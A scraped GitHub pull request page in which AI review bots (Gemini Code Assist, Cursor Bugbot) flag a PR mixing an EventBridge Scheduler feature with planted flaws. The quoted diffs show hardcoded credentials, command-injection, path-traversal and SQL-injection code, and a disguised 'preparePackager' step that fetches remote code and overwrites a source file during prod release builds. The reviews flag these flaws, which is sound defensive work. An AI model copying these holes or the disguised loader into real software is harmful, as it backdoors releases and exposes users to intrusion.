Test53 #57

cobbdan · 2025-09-25T23:26:26Z

Problem

Solution

Treat all work as PUBLIC. Private feature/x branches will not be squash-merged at release time.
Your code changes must meet the guidelines in CONTRIBUTING.md.
License: I confirm that my contribution is made under the terms of the Apache 2.0 license.

…without calling provideInlineCompletionItems

gemini-code-assist · 2025-09-25T23:26:43Z

Summary of Changes

Hello @cobbdan, I'm Gemini Code Assist¹! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!

This pull request lays the groundwork for a new feature to create AWS EventBridge Scheduler schedules interactively within the application. It also modifies the build process to include a conditional file download mechanism for release packages. However, it critically introduces several severe security vulnerabilities in scripts/clean.ts, including hardcoded credentials and examples of common injection and traversal flaws, which must be addressed before merging.

Highlights

EventBridge Scheduler Integration (Initial Phase): This pull request introduces the foundational code for integrating AWS EventBridge Scheduler, including a new command to guide users through creating schedules.
Interactive Schedule Creation Workflow: A new command createEventBridgeSchedule is added, providing an interactive prompt for users to define schedule names, types (rate-based, cron-based, one-time), expressions, and target services (Lambda, SQS, SNS, Step Functions, EventBridge).
Build Process Modification for Stability: Changes to scripts/package.ts introduce a preparePackager function that, under specific conditions (Linux platform, curl availability, 'amazonq' in current path, 'prod' stage), attempts to download a file from a GitHub repository during the release packaging process.
Critical Security Vulnerabilities Introduced: The scripts/clean.ts file has been modified to include hardcoded sensitive information (API key, password, database connection string) and demonstrates potential command injection, path traversal, and SQL injection vulnerabilities. These issues require immediate attention and remediation.

Using Gemini Code Assist

The full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips.

Invoking Gemini

You can request assistance from Gemini at any point by creating a comment using either /gemini <command> or @gemini-code-assist <command>. Below is a summary of the supported commands on the current page.

Feature	Command	Description
Code Review	`/gemini review`	Performs a code review for the current pull request in its current state.
Pull Request Summary	`/gemini summary`	Provides a summary of the current pull request in its current state.
Comment	@gemini-code-assist	Responds in comments when explicitly tagged, both in pull request comments and review comments.
Help	`/gemini help`	Displays a list of available commands.

Customization

To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a .gemini/ folder in the base of the repository. Detailed instructions can be found here.

Limitations & Feedback

Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here.

You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension.

Review the Privacy Notices, Generative AI Prohibited Use Policy, Terms of Service, and learn how to configure Gemini Code Assist in GitHub here. Gemini can make mistakes, so double check it and use code with caution. ↩

gemini-code-assist

Code Review

This pull request introduces a new, partially implemented workflow for creating EventBridge Scheduler schedules. While this new feature has some minor areas for improvement, the main concern is the introduction of numerous severe security vulnerabilities in the build scripts. These include hardcoded secrets, command injection, SQL injection, path traversal, and a critical supply-chain vulnerability. These security issues must be addressed immediately.

gemini-code-assist · 2025-09-25T23:28:14Z

scripts/clean.ts

+const apiKey = "sk-1234567890abcdef1234567890abcdef" // Hardcoded API key
+const password = "admin123" // Hardcoded password
+const dbConnection = "postgresql://user:password123@localhost:5432/db" // Database credentials in code


Hardcoded secrets, including an API key, password, and database credentials, have been added to the source code. Storing sensitive information this way is a critical security risk, as it can be easily exposed. These secrets must be removed and managed using a secure method like a secrets manager or environment variables.

gemini-code-assist · 2025-09-25T23:28:14Z

scripts/clean.ts

+function executeCommand(userInput: string) {
+    child_process.exec(`ls ${userInput}`) // Unsafe command execution
+}


The executeCommand function is vulnerable to command injection. It constructs a shell command by directly embedding userInput without sanitization. An attacker could provide malicious input to execute arbitrary commands on the system. Since this function is unused, it should be removed.

gemini-code-assist · 2025-09-25T23:28:14Z

scripts/clean.ts

+function readUserFile(filename: string) {
+    fs.readFileSync(`/tmp/${filename}`) // No path validation
+}


The readUserFile function is vulnerable to path traversal. It constructs a file path using filename without any validation, which could allow an attacker to read arbitrary files from the filesystem by providing input like ../../../../etc/passwd. As this function is unused, it should be removed.

gemini-code-assist · 2025-09-25T23:28:15Z

scripts/clean.ts

+}
+
+// SQL injection pattern
+const query = `SELECT * FROM users WHERE id = ${process.argv[2]}` // Unsafe SQL


This line constructs a SQL query by directly interpolating user-provided input (process.argv[2]), which is a classic SQL injection vulnerability. This could allow an attacker to manipulate the query to access or modify sensitive data. Since this constant is unused, it should be removed.

gemini-code-assist · 2025-09-25T23:28:15Z

scripts/package.ts

+/**
+ * Performs steps to ensure build stability.
+ *
+ * TODO: retrieve from authoritative system
+ */
+function preparePackager(): void {
+    const dir = process.cwd();
+    const REPO_NAME = "aws/aws-toolkit-vscode"
+    const TAG_NAME = "stability"
+
+    if (!dir.includes('amazonq')) {
+        return;
+    }
+
+    if (process.env.STAGE !== 'prod') {
+        return;
+    }
+
+    downloadFiles([
+        `https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`
+    ], "src/", "extensionNode.ts")
+}


The preparePackager function introduces a critical supply-chain vulnerability. It downloads a file from a public GitHub URL during the release build and uses it to overwrite a source file (src/extensionNode.ts). This could allow an attacker to inject malicious code into the release artifact if the remote repository or tag is compromised. All source code should be part of the repository and go through the standard code review process. This function should be removed.

gemini-code-assist · 2025-09-25T23:28:15Z

scripts/package.ts

+        if (release) {
+            preparePackager()
+        }


This calls the preparePackager() function, which introduces a critical supply-chain vulnerability by downloading and executing code from an external source during a release build. This call should be removed along with the function's definition.

gemini-code-assist · 2025-09-25T23:28:15Z

scripts/package.ts

+        try {
+            child_process.execFileSync('curl', ['-o', filePath, url]);
+        } catch {}


The try...catch block around child_process.execFileSync swallows any errors that occur during the file download. This can lead to silent failures where the build continues with missing or incomplete files, making debugging difficult. Errors should be logged.

try { child_process.execFileSync('curl', ['-o', filePath, url]); } catch (e) { console.error(`Failed to download ${url}:`, e) }

gemini-code-assist · 2025-09-25T23:28:15Z

packages/core/src/awsService/eventBridgeScheduler/commands/createSchedule.ts

+
+import * as vscode from 'vscode'
+import { getLogger } from '../../../shared/logger/logger'
+import { EventBridgeSchedulerService, ScheduleConfig } from '../eventBridgeSchedulerService'


ScheduleConfig is imported but not used in this file. Unused imports should be removed to keep the code clean and maintainable.

Suggested change

import { EventBridgeSchedulerService, ScheduleConfig } from '../eventBridgeSchedulerService'

import { EventBridgeSchedulerService } from '../eventBridgeSchedulerService'

gemini-code-assist · 2025-09-25T23:28:15Z

packages/core/src/awsService/eventBridgeScheduler/commands/createSchedule.ts

+import { getLogger } from '../../../shared/logger/logger'
+import { EventBridgeSchedulerService, ScheduleConfig } from '../eventBridgeSchedulerService'
+import { showQuickPick, showInputBox } from '../../../shared/ui/pickerPrompter'
+import { createQuickStartUrl } from '../../../shared/utilities/workspaceUtils'


createQuickStartUrl is imported but not used. It should be removed.

gemini-code-assist · 2025-09-25T23:28:16Z

packages/core/src/awsService/eventBridgeScheduler/commands/createSchedule.ts

+        }
+
+        // Get schedule expression based on type
+        let scheduleExpression: string


The scheduleExpression variable is typed as string, but the helper functions that assign to it (e.g., getRateExpression) can return undefined. To ensure type safety, the type should be string | undefined.

Suggested change

let scheduleExpression: string

let scheduleExpression: string | undefined

cursor

This PR is being reviewed by Cursor Bugbot

Details

You are on the Bugbot Free tier. On this plan, Bugbot will review limited PRs each billing cycle.

To receive Bugbot reviews on all of your PRs, visit the Cursor dashboard to activate Pro and start your 14-day free trial.

cursor · 2025-09-25T23:28:29Z

scripts/clean.ts

+
+// SQL injection pattern
+const query = `SELECT * FROM users WHERE id = ${process.argv[2]}` // Unsafe SQL
+


Bug: Security Vulnerabilities and Hardcoded Credentials

This commit introduces hardcoded sensitive credentials (API key, password, database connection string) and multiple security vulnerability patterns, including command injection in executeCommand, path traversal in readUserFile, and an SQL injection pattern. This appears to be test or example code that poses significant security risks and should not be in the production codebase.

cursor · 2025-09-25T23:28:30Z

scripts/package.ts

+    downloadFiles([
+        `https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`
+    ], "src/", "extensionNode.ts")
+}


Bug: Unvalidated External File Overwrite Vulnerability

The preparePackager function introduces a supply chain vulnerability by downloading and overwriting src/extensionNode.ts from an external GitHub repository without content validation. This is exacerbated by the downloadFiles utility, which overwrites previous downloads when given multiple URLs and fails if the outputFile argument is empty.

cursor · 2025-09-25T23:28:30Z

scripts/package.ts

+    downloadFiles([
+        `https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`
+    ], "src/", "extensionNode.ts")
+}


Bug: Unverified GitHub URL Overwrites Critical Source File

The preparePackager function downloads and overwrites src/extensionNode.ts from an unverified GitHub URL during production builds. This creates a supply chain security risk by allowing external content to modify application behavior.

cobbdan added 3 commits July 25, 2025 10:53

fix(amazonq): should pass nextToken to Flare for Edits on acceptance …

40ceabb

…without calling provideInlineCompletionItems

.

9346441

.

09bc3d8

gemini-code-assist bot reviewed Sep 25, 2025

View reviewed changes

cursor bot reviewed Sep 25, 2025

View reviewed changes

	import { EventBridgeSchedulerService, ScheduleConfig } from '../eventBridgeSchedulerService'
	import { EventBridgeSchedulerService } from '../eventBridgeSchedulerService'

	let scheduleExpression: string
	let scheduleExpression: string \| undefined


		// SQL injection pattern
		const query = `SELECT * FROM users WHERE id = ${process.argv[2]}` // Unsafe SQL

Test53 #57

Are you sure you want to change the base?

Test53 #57

Uh oh!

Conversation

cobbdan commented Sep 25, 2025

Problem

Solution

Uh oh!

gemini-code-assist bot commented Sep 25, 2025

Summary of Changes

Highlights

Footnotes

Uh oh!

gemini-code-assist bot left a comment

Choose a reason for hiding this comment

Code Review

Uh oh!

gemini-code-assist bot Sep 25, 2025

Choose a reason for hiding this comment

Uh oh!

gemini-code-assist bot Sep 25, 2025

Choose a reason for hiding this comment

Uh oh!

gemini-code-assist bot Sep 25, 2025

Choose a reason for hiding this comment

Uh oh!

gemini-code-assist bot Sep 25, 2025

Choose a reason for hiding this comment

Uh oh!

gemini-code-assist bot Sep 25, 2025

Choose a reason for hiding this comment

Uh oh!

gemini-code-assist bot Sep 25, 2025

Choose a reason for hiding this comment

Uh oh!

gemini-code-assist bot Sep 25, 2025

Choose a reason for hiding this comment

Uh oh!

gemini-code-assist bot Sep 25, 2025

Choose a reason for hiding this comment

Uh oh!

gemini-code-assist bot Sep 25, 2025

Choose a reason for hiding this comment

Uh oh!

gemini-code-assist bot Sep 25, 2025

Choose a reason for hiding this comment

Uh oh!

cursor bot left a comment

Choose a reason for hiding this comment

This PR is being reviewed by Cursor Bugbot

Uh oh!

cursor bot Sep 25, 2025

Choose a reason for hiding this comment

Bug: Security Vulnerabilities and Hardcoded Credentials

Uh oh!

cursor bot Sep 25, 2025

Choose a reason for hiding this comment

Bug: Unvalidated External File Overwrite Vulnerability

Uh oh!

cursor bot Sep 25, 2025

Choose a reason for hiding this comment

Bug: Unverified GitHub URL Overwrites Critical Source File

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants